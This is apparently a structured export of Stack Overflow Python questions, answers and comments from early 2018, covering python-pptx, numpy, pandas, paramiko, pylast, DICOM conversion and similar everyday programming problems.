has comment: http://stackoverflow.com/comment/86116939
has comment: http://stackoverflow.com/comment/86117695
has comment: http://stackoverflow.com/comment/86117115

http://stackoverflow.com/a/49561446
accepted answer of: http://stackoverflow.com/q/49560567
has body: Try setting the ._target attribute of the rel (Relationship) object https://github.com/scanny/python-pptx/blob/master/pptx/opc/package.py#L555 rel._target = 'FULL_PATH_OMITTED\test.xlsx!Sheet1!R3C5:R20C14' This will only work when the relationship type is External (as opposed to a relationship to another part in the same package). This is hacking internals, of course, so use at your own risk. That said, this part of the code base has been very stable for a long time.
has comment: http://stackoverflow.com/comment/86131935
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/118986215
downvote count: 0
score: 6
upvote count: 6
has comment: http://stackoverflow.com/comment/86131107
has comment: http://stackoverflow.com/comment/118995008
answers question: http://stackoverflow.com/q/49560567
type: Answer

http://stackoverflow.com/a/49546804
type: Answer
has body: Here are two non-inplace ways of swapping the first two columns: &gt;&gt;&gt; a = np.arange(15).reshape(3, 5) &gt;&gt;&gt; a[:, np.r_[1:-1:-1, 2:5]] array([[ 1, 0, 2, 3, 4], [ 6, 5, 7, 8, 9], [11, 10, 12, 13, 14]]) or &gt;&gt;&gt; np.c_[a[:, 1::-1], a[:, 2:]] array([[ 1, 0, 2, 3, 4], [ 6, 5, 7, 8, 9], [11, 10, 12, 13, 14]])
upvote count: 3
answers question: http://stackoverflow.com/q/49545758
downvote count: 0
score: 3

http://stackoverflow.com/comment/85970044
type: Comment
type: QuestionComment
score: 0
has text: These are the same numbers...
comment on: http://stackoverflow.com/q/49483546

http://stackoverflow.com/comment/86180973
comment on: http://stackoverflow.com/q/49586519
score: 0
has text: This is OS related more than python related
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/85955209
score: 0
type: Comment
has text: Thanks for the hint @Graciano, I had some spelling mistakes but the real culprit was not using the positional operator $ which holds the value found by 'threads.thread_id' : thread.
type: AnswerComment
comment on: http://stackoverflow.com/a/49472439

http://stackoverflow.com/comment/85936203
score: 0
type: Comment
has text: No, check in and check out would be `datetime`. The *difference* between the two would be a `timedelta`.
type: AnswerComment
comment on: http://stackoverflow.com/a/49466711

http://stackoverflow.com/q/49476240
linked to: http://stackoverflow.com/q/1374457
has comment: http://stackoverflow.com/comment/85955112
favorite count: 0
type: Question
upvote count: 4
has body: I want to use re.findall for detecting how many times is a a word displayed in a .txt file. Also I need that if I'm trying to count how many times the word Hello appears in the text Hellooo to be detected. Here is all the code I have: # -*- coding: utf-8 -*- import re total = 0 with open('text.txt') as f: for line in f: total = re.findall('Hello') print total
possible better answer: http://stackoverflow.com/a/49476304
answer count: 2
accepted answer: http://stackoverflow.com/a/49476338
has answer: http://stackoverflow.com/a/49476304
duplicate of: http://stackoverflow.com/q/1374457
has answer: http://stackoverflow.com/a/49476338
tagged with: python
score: -1
downvote count: 5
tagged with: regex
type: AnsweredQuestion
tagged with: python-2.7
has title: Using re.findall in a txt file

http://stackoverflow.com/comment/86038206
has text: I would agree that it's almost certainly a terminal thing -- but it's also possible that program just does something weird when DEBUG is passed. Without seeing the internals, it's tough to know. I don't have zsh or a mac, but try another program (a built in mac one) using an arg and tee, see if it works. If so, then it's the program, assuming nothing else changed.
comment on: http://stackoverflow.com/q/49516060
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49514162
has body: Well, thanks everyone! It seems that my system font, which wx.SystemSettings.GetFont(wx.SYS_SYSTEM_FONT) returned, was a bit strange, because it didn't support any more sizes, but default. When i changed font itself with SetFaceName method, SetPointSize began working. So, the problem was in my system, probably in the system font particulary
score: 0
answers question: http://stackoverflow.com/q/49479371
type: Answer

http://stackoverflow.com/comment/86160438
comment on: http://stackoverflow.com/a/49560022
type: AnswerComment
type: Comment
has text: A debugger is a god-send for programmers. It lets you view program *state*, like where the program is during execution, what variables have what values, etc. instead of just blindly printing stuff. I personally have used PyCharm and its wonderful, and free. Otherwise, what you did was fine, since it at least gave you (and me) a starting point to identify the issue.
score: 0

http://stackoverflow.com/comment/86660606
comment on: http://stackoverflow.com/a/49711370
score: 1
type: Comment
type: AnswerComment
has text: I just figured out `fire_and_forget` is also nicely documented here: http://dask.pydata.org/en/latest/futures.html#fire-and-forget

http://stackoverflow.com/a/49463089
has comment: http://stackoverflow.com/comment/85929389
has comment: http://stackoverflow.com/comment/85929382
upvote count: 2
answers question: http://stackoverflow.com/q/49463073
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49463073
has body: You can convert boolean mask to integer and then to string: rawData['small'] = (rawData['value'] &lt; 5).astype(int).astype(str)
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/85929371

http://stackoverflow.com/q/49581125
upvote count: 1
answer count: 1
downvote count: 1
tagged with: pylast
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86170204
has answer: http://stackoverflow.com/a/49581680
has comment: http://stackoverflow.com/comment/86170194
type: UnansweredQuestion
has title: Get artist name
has body: I'm trying to get the names of my top 3 artists of last week with pylast (https://github.com/pylast/pylast) but I run into an error or get I get None as a result and I don't see what I'm doing wrong. pylast is a Python interface to Last.fm. My code: import pylast API_KEY = "" API_SECRET = "" username = "" password_hash = pylast.md5("") network = pylast.LastFMNetwork(api_key=API_KEY, api_secret=API_SECRET, username=username, password_hash=password_hash) user = network.get_authenticated_user(); weekly_artists = user.get_weekly_artist_charts(); # Keep the first three artists. del weekly_artists[3:] # Print the artist name and number of songs(weight). for weekly_artist in weekly_artists: artist,weight = weekly_artist print (artist.get_name()) print (artist.get_correction()) artist.get_name() returns None artist.get_correction() returns Traceback (most recent call last): File "G:\projects\python\lastfm_weekly\lastfm-weekly.py", line 28, in &lt;module&gt; print (artist.get_correction()) File "C:\Users\..\Python\Python36-32\lib\site-packages\pylast\__init__.py", line 1585, in get_correction self._request(self.ws_prefix + ".getCorrection"), "name") File "C:\Users\..\Python\Python36-32\lib\site-packages\pylast\__init__.py", line 1029, in _request return _Request(self.network, method_name, params).execute(cacheable) File "C:\Users\..\Python\Python36-32\lib\site-packages\pylast\__init__.py", line 744, in __init__ network._get_ws_auth() AttributeError: 'str' object has no attribute '_get_ws_auth' What am I doing wrong?
tagged with: last.fm
has comment: http://stackoverflow.com/comment/86171264
tagged with: python
score: 0

http://stackoverflow.com/comment/86185818
comment on: http://stackoverflow.com/a/49583252
score: 0
has text: How do you mean the prediction is correct? It is far from the real value. And if so, how do I interpret this value then?
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86097247
score: 0
type: Comment
type: QuestionComment
has text: do you ever `break` the `while True` loop?
comment on: http://stackoverflow.com/q/49544755

http://stackoverflow.com/comment/86141450
type: Comment
type: QuestionComment
has text: https://winscp.net/eng/docs/commandline
comment on: http://stackoverflow.com/q/49566472
score: 0

http://stackoverflow.com/comment/85960724
type: AnswerComment
comment on: http://stackoverflow.com/a/49478559
score: 0
type: Comment
has text: @ruw011, yes, it should be a list of filenames

http://stackoverflow.com/q/49560567
type: AnsweredQuestion
has body: I have PowerPoint files with many dozens of links to different sheets in an Excel document. I need to change the Excel documents to which these links point in a programmatic way. I'm pretty sure I could do this with VBA, but since I'm generating the Excel documents in python anyway I'd prefer to update the links there as well. I dug in to the underlying XML files for a test .pptx file and found that the link references live in the ppt/slides/_rels/ folder (after unzipping the .pptx file) For example, slide1.xml.rels contains several relationships, one having TargetMode="External" and Target="FULL_PATH_OMITTED\test.xlsx!Sheet1!R3C5:R20C14" Using the python-ppt package I found that this same reference lives under slide.part.rels E.g.: for rel in slides[0].part.rels.values(): if rel.is_external: print(rel.target_ref) Finds the same path for the link (i.e. "FULL_PATH_OMITTED\test.xlsx!Sheet1!R3C5:R20C14") What I don't know how to do is change this value, if it can be changed. Just trying to set it using python-pptx produces an AttributeError Is there a way to modify the underlying XML for a PowerPoint file using python-pptx? Or some alternative strategy would be fine.
answer count: 1
accepted answer: http://stackoverflow.com/a/49561446
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49561446
upvote count: 4
has comment: http://stackoverflow.com/comment/105484158
tagged with: python-pptx
downvote count: 0
has comment: http://stackoverflow.com/comment/105463978
tagged with: powerpoint
tagged with: python
has title: Editing underlying PowerPoint XML with Python (python-pptx)
score: 4
has comment: http://stackoverflow.com/comment/105473859

http://stackoverflow.com/q/49529247
score: 2
duplicate of: http://stackoverflow.com/q/37032210
downvote count: 2
has comment: http://stackoverflow.com/comment/86065043
has comment: http://stackoverflow.com/comment/86065557
answer count: 1
has body: I need to receive full output from .recv function in paramiko. I tried to increase the nbyte number, but in my own opinion, I think it's not the proper way to do that. the main purpose of the script to automate list of commands at the same session. my main problem here is that I cant receive the full output from the shell. Environment: python v2.7.14 paramiko v2.4.1 My Script code: () #!/usr/bin/env python import sys,os,time import paramiko user = raw_input("Enter your username please: ") upassword = getpass.getpass() ip = "172.x.x.x" username = "ikxxxx" password = "xxxgdxx" ofile = open("ipsadd.csv", "r") def sshConnection(ip): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip, username=user, password=upassword) connection = ssh.invoke_shell() for line in ofile: hostname = line.split(",")[0].strip() print "\n\n" print "Configuration running on: " + hostname host = line.split(",")[1].strip() print "IP: " + host print "*" * 40 connection.send("ssh " + username + "@" + host + "\n") time.sleep(1) connection.send("\n") time.sleep(2) connection.send("yes" + "\n") time.sleep(2) connection.send(password + "\n") time.sleep(1) connection.send("screen-length 0 temporary" + "\n") time.sleep(2) connection.send("clear alarm al no-trap" + "\n") time.sleep(2) connection.send("Y\n") connection.send("display device\n") connection.send("display temperature\n") connection.send("display device pic-status\n") connection.send("display power\n") connection.send("display health\n") connection.send("display cpu-usage\n") connection.send("display memory-usage\n") connection.send("display alarm all\n") connection.send("display switchover state\n") connection.send("display startup\n") connection.send("display version\n") connection.send("display interface brief\n") connection.send("display isis peer\n") connection.send("display isis peer verbose\n") connection.send("display bgp vpnv4 all peer\n") connection.send("display bgp vpn4 all peer verbo…
favorite count: 0
has comment: http://stackoverflow.com/comment/86064944
type: Question
has comment: http://stackoverflow.com/comment/86064769
has comment: http://stackoverflow.com/comment/86064634
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/16871668
tagged with: automation
has comment: http://stackoverflow.com/comment/86065420
has answer: http://stackoverflow.com/a/49534466
accepted answer: http://stackoverflow.com/a/49534466
has comment: http://stackoverflow.com/comment/86065173
has comment: http://stackoverflow.com/comment/86065312
tagged with: python
upvote count: 4
has title: how to receive large output in paramiko .recv function?
has comment: http://stackoverflow.com/comment/86064370
tagged with: paramiko

http://stackoverflow.com/comment/85954066
comment on: http://stackoverflow.com/a/49475552
has text: blowdrycss also uses cssutils under the covers. If you are restricted to install this module then a little more research is needed to configure settings in cssutils.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/49588440
type: AnsweredQuestion
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/86190452
has comment: http://stackoverflow.com/comment/86360428
tagged with: python
has comment: http://stackoverflow.com/comment/86357542
has answer: http://stackoverflow.com/a/75112002
possible better answer: http://stackoverflow.com/a/75112002
has title: Convert Jpg images to DCM images using python script
accepted answer: http://stackoverflow.com/a/59298686
type: Question
has body: How are JPEGs and PNGs converted to dicom readable images? There doesn't seem to be information about that on the internet. I've seen posts about converting dicom images to JPEGs, but not the other way round. I tried the following code,but the image(dcm) I got is not opening- import os import tempfile import datetime import pydicom from pydicom.dataset import Dataset, FileDataset # Create some temporary filenames suffix = '.dcm' filename_little_endian ='bb.dcm' filename_big_endian = 'testr.dcm' print("Setting file meta information...") # Populate required values for file meta information file_meta = Dataset() file_meta.MediaStorageSOPClassUID = "1.2.840.10008.5.1.4.1.1.7" file_meta.MediaStorageSOPInstanceUID = "1.2.3" file_meta.ImplementationClassUID = "1.2.3.4" print("Setting dataset values...") # Create the FileDataset instance (initially no data elements, but file_meta # supplied) ds = FileDataset(filename_little_endian, {}, file_meta=file_meta, preamble=b"\0" * 128) # Add the data elements -- not trying to set all required here. Check DICOM # standard ds.PatientName = "Test^Firstname" ds.PatientID = "123456" # Set the transfer syntax ds.is_little_endian = True ds.is_implicit_VR = True # Set creation date/time dt = datetime.datetime.now() ds.ContentDate = dt.strftime('%Y%m%d') timeStr = dt.strftime('%H%M%S.%f') # long format with micro seconds ds.ContentTime = timeStr print("Writing test file", filename_little_endian) ds.save_as(filename_little_endian) print("File saved.") # Write as a different transfer syntax XXX shouldn't need this but pydicom # 0.9.5 bug not recognizing transfer syntax ds.file_meta.TransferSyntaxUID = pydicom.uid.ExplicitVRBigEndian ds.is_little_endian = False ds.is_implicit_VR = False print("Writing test file as Big Endian Explicit VR", filename_big_endian) ds.save_as(filename_big_endian) # reopen the data just for checking for filename in (filename_little_endian, filename_big_endian): print('Load file {} ...'.format(filename)) ds = pydicom.…
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/86197420
has answer: http://stackoverflow.com/a/59298686
favorite count: 0

http://stackoverflow.com/comment/86020710
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49507567
score: 0
has text: Okay, this one was good advice, print key produces [!] POSSIBLE KEY DETECTED BY XORTOOL: \xf6 print repr(key) produces [+] GOT KEY: '\x1b[0;1;31m\\xf6\x1b[0m' So i guess im missing something here: for line in lines: #to see output of xortool print "[+]" + line if "possible" in line: key = next(lines, '') print "[!] POSSIBLE KEY DETECTED BY XORTOOL: " + key return key Is there any more approriate way to match next string after the line than im using here?

http://stackoverflow.com/comment/86034966
comment on: http://stackoverflow.com/q/49515001
has text: not sure of the context, but it's possible to set up your own local pypi mirror, and serve your own content there. maybe see https://stackoverflow.com/questions/1235331/how-to-roll-my-own-pypi
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49492792
type: Question
answer count: 2
has body: I have created a function responsible for parsing JSON object, extracting useful fields and creating a Pandas data frame. def parse_metrics_to_df(metrics): def extract_details(row): row['trial'] = row['agent']['trial'] row['numerosity'] = row['agent']['numerosity'] row['reliable'] = row['agent']['reliable'] row['was_correct'] = row['performance']['was_correct'] return row df = pd.DataFrame(metrics) df = df.apply(extract_details, axis=1) df.drop(['agent', 'environment', 'performance'], axis=1, inplace=True) df.set_index('trial', inplace=True) return df The metrics is an array of JSON documents looking similar to (first two rows): [{'agent': {'fitness': 25.2375, 'numerosity': 1, 'population': 1, 'reliable': 0, 'steps': 1, 'total_steps': 1, 'trial': 0}, 'environment': None, 'performance': {'was_correct': True}}, {'agent': {'fitness': 23.975625, 'numerosity': 1, 'population': 1, 'reliable': 0, 'steps': 1, 'total_steps': 2, 'trial': 1}, 'environment': None, 'performance': {'was_correct': False}}] Then executed as follows: df = parse_metrics_to_df(metrics) The code works as expected but it's extremely slow. Parsing array with a million objects takes nearly 1 hour. How to do this properly?
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
has title: Optimizing `apply` in Python Pandas
tagged with: pandas
score: 1
has answer: http://stackoverflow.com/a/49496056
has answer: http://stackoverflow.com/a/49495526
favorite count: 0

string
tags question: http://stackoverflow.com/q/49483429
tags question: http://stackoverflow.com/q/49495506
tags question: http://stackoverflow.com/q/49456580
tags question: http://stackoverflow.com/q/49558783
tags question: http://stackoverflow.com/q/49545913
tags question: http://stackoverflow.com/q/49575896
tags question: http://stackoverflow.com/q/49592461
tags question: http://stackoverflow.com/q/49458898
tags question: http://stackoverflow.com/q/49502994
type: Tag
tags question: http://stackoverflow.com/q/49440296
tags question: http://stackoverflow.com/q/49497965
tags question: http://stackoverflow.com/q/49446661
tags question: http://stackoverflow.com/q/49532438
tags question: http://stackoverflow.com/q/49460667
tags question: http://stackoverflow.com/q/49482549
tags question: http://stackoverflow.com/q/49538350
tags question: http://stackoverflow.com/q/49480642
tags question: http://stackoverflow.com/q/49591343
tags question: http://stackoverflow.com/q/49542434
tags question: http://stackoverflow.com/q/49479913
tags question: http://stackoverflow.com/q/49458353
tags question: http://stackoverflow.com/q/49583913
tags question: http://stackoverflow.com/q/49463152
tags question: http://stackoverflow.com/q/49451451
tags question: http://stackoverflow.com/q/49515651
tags question: http://stackoverflow.com/q/49449725
tags question: http://stackoverflow.com/q/49558540
tags question: http://stackoverflow.com/q/49561691
tags question: http://stackoverflow.com/q/49551943
tags question: http://stackoverflow.com/q/49530605
tags question: http://stackoverflow.com/q/49563312
tags question: http://stackoverflow.com/q/49536476
tags question: http://stackoverflow.com/q/49481195
tags question: http://stackoverflow.com/q/49590278
tags question: http://stackoverflow.com/q/49513036
tags question: http://stackoverflow.com/q/49518355
tags question: http://stackoverflow.com/q/49485156
tags question: http://stackoverflow.com/q/49576407
tags question: http://stackoverflow.com/q/49572891
tags question: http://stackoverflow.com/q/49468736
tags question: http://stackoverflow.com/q/49562967
tags question: http://stackoverflow.com/q/49580179
tags question: http://stackoverflow.com/q/49458950
tags question: http://stackoverflow.com/q/49537687
tags question: http://stackoverflow.com/q/49575466
tags question: http://stackoverflow.com/q/49492595
tags question: http://stackoverflow.com/q/49506102
tags question: http://stackoverflow.com/q/49459729
tags question: http://stackoverflow.com/q/49547805
tags question: http://stackoverflow.com/q/49541070
tags question: http://stackoverflow.com/q/49547604
tags question: http://stackoverflow.com/q/49445992
tags question: http://stackoverflow.com/q/49581423
tags question: http://stackoverflow.com/q/49585038
tags question: http://stackoverflow.com/q/49554123
tags question: http://stackoverflow.com/q/49599606
tags question: http://stackoverflow.com/q/49447643
tags question: http://stackoverflow.com/q/49445203
tags question: http://stackoverflow.com/q/49446923
tags question: http://stackoverflow.com/q/49502908
tags question: http://stackoverflow.com/q/49557776
tags question: http://stackoverflow.com/q/49503259
tags question: http://stackoverflow.com/q/49588694
tags question: http://stackoverflow.com/q/49580190
tags question: http://stackoverflow.com/q/49452873
tags question: http://stackoverflow.com/q/49504680
tags question: http://stackoverflow.com/q/49481858
tags question: http://stackoverflow.com/q/49518067
tags question: http://stackoverflow.com/q/49590180
tags question: http://stackoverflow.com/q/49455071
tags question: http://stackoverflow.com/q/49494444
tags question: http://stackoverflow.com/q/49583535
tag name: string
tags question: http://stackoverflow.com/q/49589566
tags question: http://stackoverflow.com/q/49451653
tags question: http://stackoverflow.com/q/49590838
tags question: http://stackoverflow.com/q/49477593
tags question: http://stackoverflow.com/q/49448335
tags question: http://stackoverflow.com/q/49571132

http://stackoverflow.com/q/49545913
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/49545977
duplicate of: http://stackoverflow.com/q/7074051
upvote count: 0
tagged with: list
has comment: http://stackoverflow.com/comment/86099267
has comment: http://stackoverflow.com/comment/86099832
has body: Here is my code: def randomword(length): allchar = string.ascii_lowercase keywords =[''.join(random.choice(allchar) for i in range(length))] return keywords print(randomword(4)) I didn't get all possible random string with 4 characters.I only get one possible random string,such as ['uuph'].
has comment: http://stackoverflow.com/comment/86099336
answer count: 1
downvote count: 1
tagged with: string
has title: save all possible random strings in python
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86099311
has comment: http://stackoverflow.com/comment/86099331
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/7074051
has comment: http://stackoverflow.com/comment/86099301

http://stackoverflow.com/q/49559776
tagged with: matplotlib
tagged with: python
has title: Scatterplot in matplotlib with legend and randomized point order
linked to: http://stackoverflow.com/q/49297599
upvote count: 2
type: AnsweredQuestion
score: 2
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/49560375
accepted answer: http://stackoverflow.com/a/49560375
has answer: http://stackoverflow.com/a/49559777
possible better answer: http://stackoverflow.com/a/49559777
favorite count: 0
type: Question
has body: I'm trying to build a scatterplot of a large amount of data from multiple classes in python/matplotlib. Unfortunately, it appears that I have to choose between having my data randomised and having legend labels. Is there a way I can have both (preferably without manually coding the labels?) Minimum reproducible example: import numpy as np import matplotlib.pyplot as plt import pandas as pd X = np.random.normal(0, 1, [5000, 2]) Y = np.random.normal(0.5, 1, [5000, 2]) data = np.concatenate([X,Y]) classes = np.concatenate([np.repeat('X', X.shape[0]), np.repeat('Y', Y.shape[0])]) Plotting with randomized points: plot_idx = np.random.permutation(data.shape[0]) colors = pd.factorize(classes) fig, ax = plt.subplots() ax.scatter(data[plot_idx, 0], data[plot_idx, 1], c=colors[plot_idx], label=classes[plot_idx], alpha=0.4) plt.legend() plt.show() This gives me the wrong legend. Plotting with the correct legend: from matplotlib import cm unique_classes = np.unique(classes) colors = cm.Set1(np.linspace(0, 1, len(unique_classes))) for i, class in enumerate(unique_classes): ax.scatter(data[classes == class, 0], data[classes == class, 1], c=colors[i], label=class, alpha=0.4) plt.legend() plt.show() But now the points are not randomized and the resulting plot is not representative of the data. I'm looking for something that would give me a result like I get as follows in R: library(ggplot2) X &lt;- matrix(rnorm(10000, 0, 1), ncol=2) Y &lt;- matrix(rnorm(10000, 0.5, 1), ncol=2) data &lt;- as.data.frame(rbind(X, Y)) data$classes &lt;- rep(c('X', 'Y'), times=nrow(X)) plot_idx &lt;- sample(nrow(data)) ggplot(data[plot_idx,], aes(x=V1, y=V2, color=classes)) + geom_point(alpha=0.4, size=3)

http://stackoverflow.com/comment/86018082
comment on: http://stackoverflow.com/q/49506868
type: QuestionComment
has text: None of your requirements can be met with argparse. You'll have to code your own command-line argument parser. Perhaps `getopt` can help there.
type: Comment
score: 0

http://stackoverflow.com/a/49557127
accepted answer of: http://stackoverflow.com/q/49555991
type: Answer
answers question: http://stackoverflow.com/q/49555991
has comment: http://stackoverflow.com/comment/86123286
has comment: http://stackoverflow.com/comment/86127596
downvote count: 0
type: AcceptedAnswer
has body: You could keep the global random state in a temporary variable and reset it once your function is done: import contextlib import numpy as np @contextlib.contextmanager def temp_seed(seed): state = np.random.get_state() np.random.seed(seed) try: yield finally: np.random.set_state(state) Demo: &gt;&gt;&gt; np.random.seed(0) &gt;&gt;&gt; np.random.randn(3) array([1.76405235, 0.40015721, 0.97873798]) &gt;&gt;&gt; np.random.randn(3) array([ 2.2408932 , 1.86755799, -0.97727788]) &gt;&gt;&gt; np.random.seed(0) &gt;&gt;&gt; np.random.randn(3) array([1.76405235, 0.40015721, 0.97873798]) &gt;&gt;&gt; with temp_seed(5): ... np.random.randn(3) array([ 0.44122749, -0.33087015, 2.43077119]) &gt;&gt;&gt; np.random.randn(3) array([ 2.2408932 , 1.86755799, -0.97727788])
upvote count: 31
score: 31

http://stackoverflow.com/comment/86258690
score: 0
has text: [NumPy issue #10810](https://github.com/numpy/numpy/issues/10810) is now fixed, I suppose the fix will be in for v1.14.3 / v1.15.
type: Comment
comment on: http://stackoverflow.com/a/49511047
type: AnswerComment

http://stackoverflow.com/comment/126288211
type: AnswerComment
comment on: http://stackoverflow.com/a/49515840
score: 0
type: Comment
has text: What is the recommended interval time?

http://stackoverflow.com/q/49461443
has answer: http://stackoverflow.com/a/49461577
has comment: http://stackoverflow.com/comment/85926226
has comment: http://stackoverflow.com/comment/85926099
score: 2
has title: How to raise exception when function call is missing an argument in Python
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/85926145
has comment: http://stackoverflow.com/comment/85926029
has answer: http://stackoverflow.com/a/49461545
has comment: http://stackoverflow.com/comment/85934380
favorite count: 0
has comment: http://stackoverflow.com/comment/133589751
type: Question
has comment: http://stackoverflow.com/comment/85925842
has body: If I have the function def my_function(a,b,c): and when the user calls the function, they omit the last argument print(my_function(a,b)) what exception should I raise?
tagged with: exception
has comment: http://stackoverflow.com/comment/85925930
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85925945
tagged with: python
has comment: http://stackoverflow.com/comment/85925919
has comment: http://stackoverflow.com/comment/133589765
upvote count: 4
has comment: http://stackoverflow.com/comment/85925927

http://stackoverflow.com/a/49555097
score: 0
has body: some of the elements you inspect are None, you should make sure the "a" element you found does actually have the attrs attribute, you can use hasattr built-in function: hasattr(a, "attrs") will return true if a has attrs and false if it does not. read about this function
answers question: http://stackoverflow.com/q/49554956
type: Answer

http://stackoverflow.com/q/49488596
has comment: http://stackoverflow.com/comment/85980225
has body: I have a part of script which counts a number of sub-folders in directories. I have 5 directories and each have to contain the same number of subfolders. What I want to get is to check or compare directories if they are equal, like: dir1 = 12 subdirs dir2 = 12 subdirs dir3 = 12 subdirs dir4 = 12 subdirs dir5 = 12 subdirs To get error and do things when one sub-folder is missing in one of the directories. My script: import os root = 'F:\gop\gop_img_test\\2018-03-06' def count_subdirectories(root): return len([d for d in os.listdir(root) if os.path.isdir(os.path.join(root, d))]) subdirectory_counts = set() num_directories = 0 len_subdirs = [] for d in os.listdir(root): dir_to_check = os.path.join(root, d) if os.path.isdir(dir_to_check): num_subdirs = count_subdirectories(dir_to_check) num_directories += 1 subdirectory_counts.add(num_subdirs) #data_dict = [] #data_dict.append(num_subdirs) #print(data_dict) if len(set(len_subdirs)) == 1: print("All sub directories contain equal number of folders") else: print("Sub-directories do NOT contain equal numbers of folders") Join = input("veille passer plus loin ?? :") if Join.lower() == 'yes': ### doing my stuff else: print("answer yes or not ") With returns: 12 12 12 12 11 The number of subdirectories are not the same. How to check it with Python and, when numbers are not the same, do something?
has answer: http://stackoverflow.com/a/49489691
type: AnsweredQuestion
has title: Compare subfolders number in directories
score: 0
answer count: 1
tagged with: directory
has comment: http://stackoverflow.com/comment/85979980
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/85980363
accepted answer: http://stackoverflow.com/a/49489691

http://stackoverflow.com/comment/86202688
comment on: http://stackoverflow.com/q/49593997
score: 0
type: QuestionComment
has text: To me it is not clear why you would suddenly use a seaborn plot only for the last subplot? It seems if you just use the same imshow as for the other three plots the file size problem does not occur. So that would be the solution here, wouldn't it?
type: Comment

http://stackoverflow.com/comment/85996669
has text: According to this https://docs.python.org/3.1/library/tkinter.ttk.html#tkinter.ttk.Combobox.get `cbox.get()` will give you the value you need. Should I make this an answer?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49496295

http://stackoverflow.com/q/49456861
type: AnsweredQuestion
tagged with: python-2.7
upvote count: 0
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/85916642
has answer: http://stackoverflow.com/a/49456894
accepted answer: http://stackoverflow.com/a/49456894
favorite count: 0
has body: I have a simple code that generates a list of lists and populates it with string "null", however when I try to check if "null" doesn't exist in the entire list of lists, it doesn't give me the result I'm expecting lst = [ ['null']*4 for n in xrange(2) ] print lst if ('null' not in lst): print "testing" This code always prints "testing" and I don't know why. Your explanation is appreciated Thanks
type: Question
has title: Python : Checking if a string does not exist in a list of lists
tagged with: conditional-statements
has answer: http://stackoverflow.com/a/49456889
possible better answer: http://stackoverflow.com/a/49456889
score: -2
tagged with: python

http://stackoverflow.com/a/49471689
downvote count: 0
answers question: http://stackoverflow.com/q/49471154
has comment: http://stackoverflow.com/comment/85960875
has comment: http://stackoverflow.com/comment/85960054
upvote count: 2
has body: You can change the default directory of Jupyter Notebook. Go to .jupyter folder. It's usually in &lt;USER NAME&gt;/.jupyter Open the config file jupyter_notebook_config.py in a text editor If the file was missing, create it first by running the command: jupyter notebook --generate-config Change it at: c.NotebookApp.notebook_dir = 'D:/'
type: Answer
has comment: http://stackoverflow.com/comment/85955717
has comment: http://stackoverflow.com/comment/85960825
has comment: http://stackoverflow.com/comment/85960086
score: 2

http://stackoverflow.com/q/49506574
accepted answer: http://stackoverflow.com/a/49506925
tagged with: pandas-groupby
tagged with: pandas
has answer: http://stackoverflow.com/a/49506925
downvote count: 0
favorite count: 0
type: Question
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/49506924
has body: I have such dataframe - each transaction might appear more than one, and transactions linked to stores. I want to find mean value of transaction. For that I need to sum and then find mean value: #preparind dataset txt_data = pandas.read_csv("./TestDataSource/txn.csv", sep = ';') txt_data = txt_data.replace({',': '.'}, regex=True) txt_data'SALES' = txt_data'SALES'.apply(pd.to_numeric) We have len(txt_data.STORE.unique()) only 30 unique STORE here. First of all I aggregate on transactions: a1 = txt_data'STORE', 'SALES', 'TXN'.groupby('TXN').sum()'STORE', 'SALES' a.head() Everything seems to be okay. But then I aggregate on stores: a2 = a1.groupby('STORE').mean() [![enter image description here][3]][3] But... list(a2.shape) - returns [1137, 1] . Thats really confusing. But moreover len(a1.STORE.unique()) returns 1137 What am I doing wrong
tagged with: python
has answer: http://stackoverflow.com/a/49506924
score: 4
has title: Aggregating on the aggregated values in pandas returns wrong result
upvote count: 4
has answer: http://stackoverflow.com/a/49507367
type: AnsweredQuestion
answer count: 3

http://stackoverflow.com/comment/85938116
has text: @Nazar, if it's just a "conceptual example" then make it stop after a while, say 10 steps. What about [`subprocess.check_output`](https://docs.python.org/3/library/subprocess.html#subprocess.check_output), would this be good for your use case?
comment on: http://stackoverflow.com/q/49467581
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/85931644
comment on: http://stackoverflow.com/a/49463531
type: Comment
has text: I mean, why the code won't work as desired with the `break` statement at the end of the code(if `value` equals `"end"`)? I truly do not understand the difference in `break` written in the start of the code versus `break` written in the end of it.
score: 0
type: AnswerComment

http://stackoverflow.com/q/49468264
score: 1
answer count: 1
downvote count: 0
tagged with: mysql
upvote count: 1
tagged with: sqlalchemy
tagged with: polymorphic-associations
favorite count: 0
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49475531
tagged with: python
has answer: http://stackoverflow.com/a/49475531
has title: SQLAlchemy Foreign Key that can belong to one of several possible Models?
type: AnsweredQuestion
